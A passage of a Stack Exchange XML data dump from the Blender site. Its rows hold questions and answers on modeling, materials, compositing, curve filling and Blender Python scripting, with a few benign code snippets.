be the most efficient way to do this, without the ugly results of the wireframe+subsurf, skin, or curves?&lt;/p&gt;&#xA;" OwnerUserId="14972" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2019-08-19T19:31:45.463" Title="Wireframe modifier resolution" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;&lt;edges&gt;&lt;wireframe&gt;" AnswerCount="3" CommentCount="11" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33474" PostTypeId="1" CreationDate="2015-07-05T19:45:04.863" Score="2" ViewCount="88" Body="&lt;p&gt;in my game I have a ray sensor in my player-object searching for the property &quot;block&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the &quot;block&quot; property is found in a target-object, it changes the color of the target-object from [ 0.0, 1.0, 0.0, 1.0] to [ 0.0, 1.0, 0.0, 0.2] (so it changes the alpha). These target-objects have the same material, let's call it target-material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use a logic brick actuator to replace the mesh of the target-object with the mesh of another object, the following things happen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a)If the material of the new mesh is a different one or non-existent the color does not change when hit by the ray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b)If the material of the new mesh is the target-material then everything works as intented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, since the property &quot;block&quot; still exists in the object, why does it not change the color of the new mesh's material? I understand that if there is no material in the new mesh then the color won't change cause it needs one. Am I wrong there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my 2nd question is this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why when I add more target-objects in the scene (I noticed it happens if I add more &gt;2 but it might be random) does the color differ? Check the 2 pictures below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G5iXv.png&quot; alt=&quot;Image 1&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/ssGwN.png&quot; alt=&quot;Image 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest the 2nd image feels more right since I only messed with the alpha so it should only make it more transparent and not darker, but still why does this happen? Nothing else was changed. Just another cube like the rest was added.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-07-05T19:45:04.863" Title="Materials and properties, color changes react differently" Tags="&lt;python&gt;&lt;mesh&gt;&lt;game-engine&gt;&lt;materials&gt;&lt;properties&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33475" PostTypeId="2" ParentId="33470" CreationDate="2015-07-05T19:52:48.390" Score="3" Body="&lt;p&gt;The problem Usually when you have hidden geometry that was not marked with seams.&#xA;In your case the UVs are showing that you have additional edges that overlapping on your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to remove that geometry by removing doubles using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; and select Remove Doubles. Then check your seams again and unwrap the mesh.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-05T19:52:48.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33476" PostTypeId="1" AcceptedAnswerId="33747" CreationDate="2015-07-05T22:36:38.097" Score="5" ViewCount="3961" Body="&lt;p&gt;I'm using textures in the compositor. Is it possible to rotate these textures?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gg0jy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rotate node doesn't work, due to cropping of the corners. What I actually need is to rotate the whole coordinate space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0vxI4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2019-02-11T12:28:46.643" Title="Can textures be rotated?" Tags="&lt;texturing&gt;&lt;compositor&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33477" PostTypeId="2" ParentId="33321" CreationDate="2015-07-05T23:23:56.357" Score="2" Body="&lt;p&gt;To invoke the operator as if you pressed the &lt;kbd&gt;G&lt;/kbd&gt; key you can simply do the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.transform.translate('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that you have to have your mouse cursor placed in the correct area.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This works according to the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_1/bpy.ops.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation of Operators&lt;/a&gt;/Execution Context:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When calling an operator you may want to pass the execution context.&lt;/p&gt;&#xA;&lt;p&gt;This determines the context that is given for the operator to run in, and whether invoke() is called or only execute().&lt;/p&gt;&#xA;&lt;p&gt;‘EXEC_DEFAULT’ is used by default, running only the execute() method, but you may want the operator to take user interaction with ‘INVOKE_DEFAULT’ which will also call invoke() if existing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The last sentence is crucial. Operators like translate that run until the user confirmed further inputs (keystrokes and/or mouse movement) are called &lt;code&gt;modal operators&lt;/code&gt;. They have to be &lt;em&gt;invoked&lt;/em&gt; for them to take user input, else you have to give parameters.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Possibly something interesting for you is that you can override the context of an operator (the area it is run in) to be the UV editor. You have to call the operator as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.transform.translate('INVOKE_DEFAULT', {'area': areaoverride})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;areaoverride&lt;/code&gt; is one of &lt;code&gt;bpy.data.screens[idx].areas&lt;/code&gt; with any valid index &lt;code&gt;idx&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-06T06:29:01.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33478" PostTypeId="2" ParentId="33476" CreationDate="2015-07-05T23:32:39.827" Score="4" Body="&lt;p&gt;Seems like the boundaries of the texture are determined by the render dimensions.  A work around is playing with the &lt;strong&gt;Texture Scale&lt;/strong&gt; for the texture along with the &lt;strong&gt;Scale&lt;/strong&gt; on a Transform node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BgfPS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tsYaQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-05T23:32:39.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33479" PostTypeId="1" CreationDate="2015-07-06T03:41:09.237" Score="0" ViewCount="224" Body="&lt;p&gt;After I made a model of a cup &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jD1I4.png&quot; alt=&quot;my cup&quot;&gt;, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some work with materials, which when rendered looked this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QGFPd.jpg&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I saved my model and opened it in Unity3d, it was nothing like this &lt;img src=&quot;https://i.stack.imgur.com/SPJO0.png&quot; alt=&quot;enter image description here&quot;&gt;. What should I do for such result in unity3d?&lt;/p&gt;&#xA;" OwnerUserId="15437" LastEditorUserId="15437" LastEditDate="2015-07-06T04:05:07.457" LastActivityDate="2015-07-06T06:03:34.987" Title="How can I get a model I made to look I want it to in Unity 3D?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-07-06T06:05:58.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="33480" PostTypeId="1" AcceptedAnswerId="50657" CreationDate="2015-07-06T05:35:56.703" Score="2" ViewCount="1382" Body="&lt;p&gt;I'm making a unit cell of a face-centered-cubic crystal, and I want to cut a group of icospheres with a cube. I have grouped the spheres. Then I selected them by selecting one, and with the select menu, choose group -&gt; siblings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I do that, two things happen. 1st, other objects are selected at the same time (have to de-select them with shift-click) and now the cube no longer appears in the choice of objects as the second object for the modifier, only the icospheres in the selected group.  See screenshot bottom right (below). (Ignore the un-applied wrench-icons in that screenshot)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: Please let me know if what I'm trying to do is not possible!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I'm doing something silly, but I can't spot it. If there is a step-by-step out there that applies to groups, I haven't found it yet. Using 2.74.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, later I'll do it with script, but I really should know how to do it by hand if I'm going to respect myself in the morning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm after:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dBe0a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;&#xA;icorners  = [(0,0,0), (0,0,1), (0,1,0), (0,1,1), (1,0,0), (1,0,1), (1,1,0), (1,1,1)]&#xA;corners = np.array(icorners, dtype='float')&#xA;&#xA;isides = [ (0.5, 0.5, 0.0), (0.5, 0.5, 1.0),  (0.5, 0.0, 0.5), (0.5, 1.0, 0.5),  (0.0, 0.5, 0.5), (1.0, 0.5, 0.5) ]&#xA;sides = np.array(isides, dtype='float')&#xA;&#xA;scale, size = 3.0, 0.5&#xA;offset = np.array([-0.5*scale, -0.5*scale, +1.0*size])&#xA;&#xA;for corner in corners:&#xA;    location = scale*corner + offset&#xA;    bpy.ops.mesh.primitive_ico_sphere_add(size=size, location=tuple(location))&#xA;&#xA;for side in sides:&#xA;    location = scale*side + offset&#xA;    bpy.ops.mesh.primitive_ico_sphere_add(size=size, location=tuple(location))&#xA;&#xA;radius = 0.5 * scale&#xA;location = offset + radius * np.ones(3)&#xA;bpy.ops.mesh.primitive_cube_add(radius=radius, location=tuple(location) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SHufh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-07-07T12:12:20.973" LastActivityDate="2016-04-13T14:34:02.347" Title="Boolean modifier on groups - can't select 2nd object - is this possible?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33481" PostTypeId="2" ParentId="33479" CreationDate="2015-07-06T06:03:34.987" Score="2" Body="&lt;p&gt;The last images show perspective distortion when you toggle the camera from 3d to 2d your model looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BlJpD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cup is almost 2m in reality this is how such a big cup appears with the given camera settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You receive poor topology from adding a subsurf modifier followd by a decimate modifier.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-07-06T06:03:34.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33482" PostTypeId="2" ParentId="33445" CreationDate="2015-07-06T09:36:18.567" Score="0" Body="&lt;p&gt;I got it... the answer is actually simple: &lt;em&gt;Do&lt;/em&gt; set the sky to transparent in the main scene (it will still receive lighting from the sky as long as &quot;Use Environment&quot; remains checked). Then create a new empty scene and assign its World the same sky. For the render layer in the &quot;Sky Scene&quot; leave &quot;Use Environment&quot; checked, but you can uncheck &quot;Use Surfaces&quot; and &quot;Use Hair&quot; as this may speed up render time. Since the new scene contains &lt;em&gt;only the sky&lt;/em&gt;, it won't contribute significantly to the render time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a camera to the &quot;Sky Scene&quot;. Add a Copy Transforms constraint to it with the Target being your main scene's Camera. Also, in the Camera tab choose from the drop-down button your first camera's configuration (chances are it's named &quot;Camera&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set up your nodes for compositing as needed.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-07-06T09:36:18.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33483" PostTypeId="2" ParentId="33468" CreationDate="2015-07-06T10:33:33.663" Score="3" Body="&lt;p&gt;Getting the location is indeed trivial, even more with &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/mathutils.geometry.html#mathutils.geometry.intersect_line_line&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;mathutils.geometry.intersect_line_line()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting rotation here is not so hard either. Let's call your two edges e1 and e2 (note that this is theoretical code, assuming you have your &lt;code&gt;vertices&lt;/code&gt; array and &lt;code&gt;empty&lt;/code&gt; object already at hand):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# We get 'average' intersection point - in case the two edges do not actually exactly intersect.&#xA;inter = mathutils.geometry.intersect_line_line(vertices[e1.v1].co, vertices[e1.v2].co, vertices[e2.v1].co, vertices[e2.v2].co)&#xA;vi = (inter[0] + inter[1]) / 2&#xA;&#xA;# Then, we get our first axis.&#xA;ax = (vertices[e1.v1].co - vi).normalized()&#xA;&#xA;# We get our third axis by cross product of first axis and second edge.&#xA;az = (ax.cross(vertices[e2.v1].co - vi)).normalized()&#xA;&#xA;# Then second axis is crossproduct of the first and third ones.&#xA;# Note that if you know for sure your two edges are orthogonal,&#xA;# You can skip that and rather create ay exactly as we did with ax.&#xA;ay = (az.cross(ax)).normalized()&#xA;&#xA;# Those three axes allow us to create a rotation matrix directly.&#xA;# However, we need to put them as columns, not rows. Since matrix&#xA;# creation in Blender uses rows, we'll have to transpose it.&#xA;mrot = mathutils.Matrix((ax, ay, az))&#xA;mrot.transpose()&#xA;&#xA;# And now, we just have to make this a 4d matrix and add translation component.&#xA;mat = mrot.to_4x4()&#xA;mat.translation = vi&#xA;&#xA;# And set this a base matrix of our empty:&#xA;empty.matrix_basis = mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-07-06T10:33:33.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33485" PostTypeId="1" AcceptedAnswerId="33486" CreationDate="2015-07-06T12:08:21.817" Score="9" ViewCount="15811" Body="&lt;p&gt;I'm having a big problem with the bezier curves in Blender. I'm trying to fill up the curves, but I can't. I have already seen some videos from YouTube, that say that I have to click on the 2D button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pQ27z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i click on the 2D button, this is what it happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6NDMi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it was a problem with the camera, but:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6encw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="15443" LastEditorUserId="28015" LastEditDate="2016-11-20T02:16:18.697" LastActivityDate="2016-11-20T02:16:18.697" Title="Fill Bezier Curves" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33486" PostTypeId="2" ParentId="33485" CreationDate="2015-07-06T12:44:54.653" Score="9" Body="&lt;p&gt;After you switch from 3D to 2D, you should choose &lt;strong&gt;Both&lt;/strong&gt;, &lt;strong&gt;Front&lt;/strong&gt; or &lt;strong&gt;Back&lt;/strong&gt; instead of &lt;strong&gt;None&lt;/strong&gt; in the curve properties drop down menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UISR6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also apply the rotation of your curve (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Apply rotation&lt;/em&gt;), before switching to 2D.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorDisplayName="user1853" LastEditDate="2015-07-06T15:50:54.067" LastActivityDate="2015-07-06T15:50:54.067" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33487" PostTypeId="1" CreationDate="2015-07-06T13:13:53.450" Score="0" ViewCount="137" Body="&lt;p&gt;I've modeled a robot arm, and the materials applied are matcaps. That model renders fine in viewport and F12. But I've also created a globe, with a matcap and a normal map. It renders properly in the viewport, but not on render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/80rVJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15445" LastEditorUserId="15445" LastEditDate="2015-07-06T16:10:46.423" LastActivityDate="2015-07-06T16:10:46.423" Title="Matcap Globe won't render properly" Tags="&lt;rendering&gt;&lt;matcaps&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33488" PostTypeId="1" CreationDate="2015-07-06T13:36:45.720" Score="8" ViewCount="863" Body="&lt;p&gt;I'm trying to add perspective to a picture however, I would like the proportional editing tool to affect only a certain part of the plane I imported. So, is there a way to pull only a specific zone (not a perfect circle), while using the the proportional editing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there an other way to easily add perspective?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dhwB3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/67r8B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JxmCq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qJeBv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15446" LastEditorUserId="241" LastEditDate="2020-05-26T15:15:51.183" LastActivityDate="2020-05-26T15:15:51.183" Title="Is it possible to use a custom shape for proportional editing?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;&lt;proportional-editing&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33489" PostTypeId="1" CreationDate="2015-07-06T13:40:12.657" Score="2" ViewCount="522" Body="&lt;p&gt;I'm fairly new to blender and I want to build something similar to a rollercoaster. I already got the path and follow path constraint with F-Curve editor and everything down, but I need something more realistic. Is there a possibility to control the follow path constraint like it's driven by gravity? Like accelerating downhill and slowing down uphill and stuff like that - Just like a real roller coaster. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I could do It by putting a real car with wheels and such on a track and animate it with the rigid body tools, but that would require a good wheel construction with multiple wheels to keep the car from derailing... I think the path thing should be way simpler in terms of optimization, modelling and the overall mechanics, I just don't know how to do it. Do you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be glad if someone could give me a hand with this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all the best &#xA;Simon&lt;/p&gt;&#xA;" OwnerUserId="15444" LastActivityDate="2018-04-30T17:52:56.703" Title="Path constraint with physics (rollercoaster)" Tags="&lt;physics&gt;&lt;path&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2018-05-04T00:25:34.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="33490" PostTypeId="2" ParentId="33488" CreationDate="2015-07-06T13:52:40.587" Score="2" Body="&lt;p&gt;You can't limit the influence of proportional editing to a vertex group. You can achieve this with the &lt;em&gt;hook modifier&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the vertices that should be influenced and assign them to a vertex group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CiUFc.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/B5kcj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup the modifier like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would create a plateau on the top, when you're happy with the border use &lt;em&gt;proportional editing&lt;/em&gt; to deform the top to a sphere:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d2iPe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-07-06T14:09:49.347" LastActivityDate="2015-07-06T14:09:49.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33491" PostTypeId="2" ParentId="33488" CreationDate="2015-07-06T14:22:45.417" Score="6" Body="&lt;p&gt;Another method would be to select all vertices that should not be affected and hide them temporarilly &lt;kbd&gt;H&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be easier to select the vertices that should be influenced and invert the selection &lt;kbd&gt;I&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1B1Lp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-07-06T14:22:45.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33493" PostTypeId="1" AcceptedAnswerId="34645" CreationDate="2015-07-06T14:28:57.800" Score="5" ViewCount="243" Body="&lt;p&gt;In version 2.72 a new return value for &lt;code&gt;invoke&lt;/code&gt;, &lt;code&gt;modal&lt;/code&gt; and &lt;code&gt;execute&lt;/code&gt; got introduced: &lt;code&gt;{'INTERFACE'}&lt;/code&gt;- It is documented as&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;INTERFACE&lt;/code&gt; Interface, Handled but not executed (popup menus).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does this actually mean when comparing the Operator's control flow to that of returning one of the other values?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2015-07-06T14:39:38.223" LastActivityDate="2015-07-28T02:47:08.430" Title="What does {'INTERFACE'} mean when returned from `invoke`, `modal` or `execute`?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33494" PostTypeId="1" AcceptedAnswerId="33508" CreationDate="2015-07-06T14:50:27.287" Score="7" ViewCount="985" Body="&lt;p&gt;I've imported two .svg's from illustrator to blender that I would like to be able to morph between with shapekeys.&#xA;There's a screenshot of the .svg's below. &#xA;Blender imports each letter as an individual curve and I've tried to convert these curves to meshes and use the shrinkwrap modifier to morph one letter into another.&#xA;This hasn't really yielded any usable results though.&#xA;So my only other idea was to export the text from illustrator as a .png and apply it to a square as a texture and then morph that square to a circle via the shrinkwrap modifier. I'd much prefer to do it all with the imported .svg's though, as nothing would pixelate when zoomed in for example. So if anyone has an idea how this could be achieved I'd really appreciate your input!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers folks, thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SXT6k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15375" LastActivityDate="2016-02-01T14:22:19.680" Title="Morphing between two different curves or meshes via shapekeys" Tags="&lt;text-object&gt;&lt;shape-keys&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33496" PostTypeId="1" AcceptedAnswerId="33498" CreationDate="2015-07-06T15:48:23.513" Score="2" ViewCount="2075" Body="&lt;p&gt;I have a scene with a number of Render Layers. In the screenshot I am only showing two to focus on the problem (called &quot;main ground&quot; and &quot;bushes&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Each render layer has all the other layers set as a mask&lt;/strong&gt; (I am not sure if this is correct, but it was the only way I could see to put them back together again as one image without visible parts that should have been obscured).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Alpha Over nodes, but oddly I am getting strange halos around some of the layers. You can see this on the left of the image where there is a strange transparent halo around the bush, cutting through to the sky background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like Blender is cutting the wrong sized mask &quot;hole&quot; in the main ground layer for the bush layer, but I don't understand why. I suspect I somehow need to tell Blender to better calculate the bush layer mask, but I don't know how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QCpcY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13661" LastActivityDate="2015-07-06T23:25:07.663" Title="Compositing Transparency / Layer Masking Problem" Tags="&lt;compositor&gt;&lt;transparency&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33497" PostTypeId="1" AcceptedAnswerId="33499" CreationDate="2015-07-06T16:36:45.640" Score="2" ViewCount="215" Body="&lt;p&gt;If I have a cylinder that is 1 inch tall, how can I slope the top from the front to the back down to, say, a quarter inch evenly? If I select all the edges or all the vertices, they just move down together. Not sure if that makes sense.&lt;/p&gt;&#xA;" OwnerUserId="15450" LastEditorUserId="2217" LastEditDate="2015-07-06T16:39:49.780" LastActivityDate="2015-07-06T17:21:34.510" Title="How do I slant adjoining edges?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2020-04-11T22:13:46.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="33498" PostTypeId="2" ParentId="33496" CreationDate="2015-07-06T16:51:33.770" Score="3" Body="&lt;p&gt;What you are experiencing is the result of antialiasing, more explicitly two overlapping masks with antialiasing, so the transparency of the upper mask is reveals some of the antialiasing of the underlaying mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could get rid of anitaliasing it by switching off the AA samples using branched path tracing. That will give you perfect edges for the mask but it will affect the overall quality by having an aliased image that will look blocky...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qowse.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simpler and higher quality solution is not using a layer mask on the render layer for the grass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8MxRx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep the layer mask on the layer for the bushes only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QKV66.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-06T23:25:07.663" LastActivityDate="2015-07-06T23:25:07.663" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33499" PostTypeId="2" ParentId="33497" CreationDate="2015-07-06T16:54:46.533" Score="2" Body="&lt;p&gt;You can Shear the top of the cylinder by using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;, then hit &lt;kbd&gt;Y&lt;/kbd&gt; to shear Vertically or &lt;kbd&gt;X&lt;/kbd&gt; Horizontally and adjust the amount of Shearing with the mouse or input a value, then hit &lt;kbd&gt;Enter&lt;/kbd&gt; to apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the mesh is Sheared relative to the view angle.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-07-06T17:21:34.510" LastActivityDate="2015-07-06T17:21:34.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
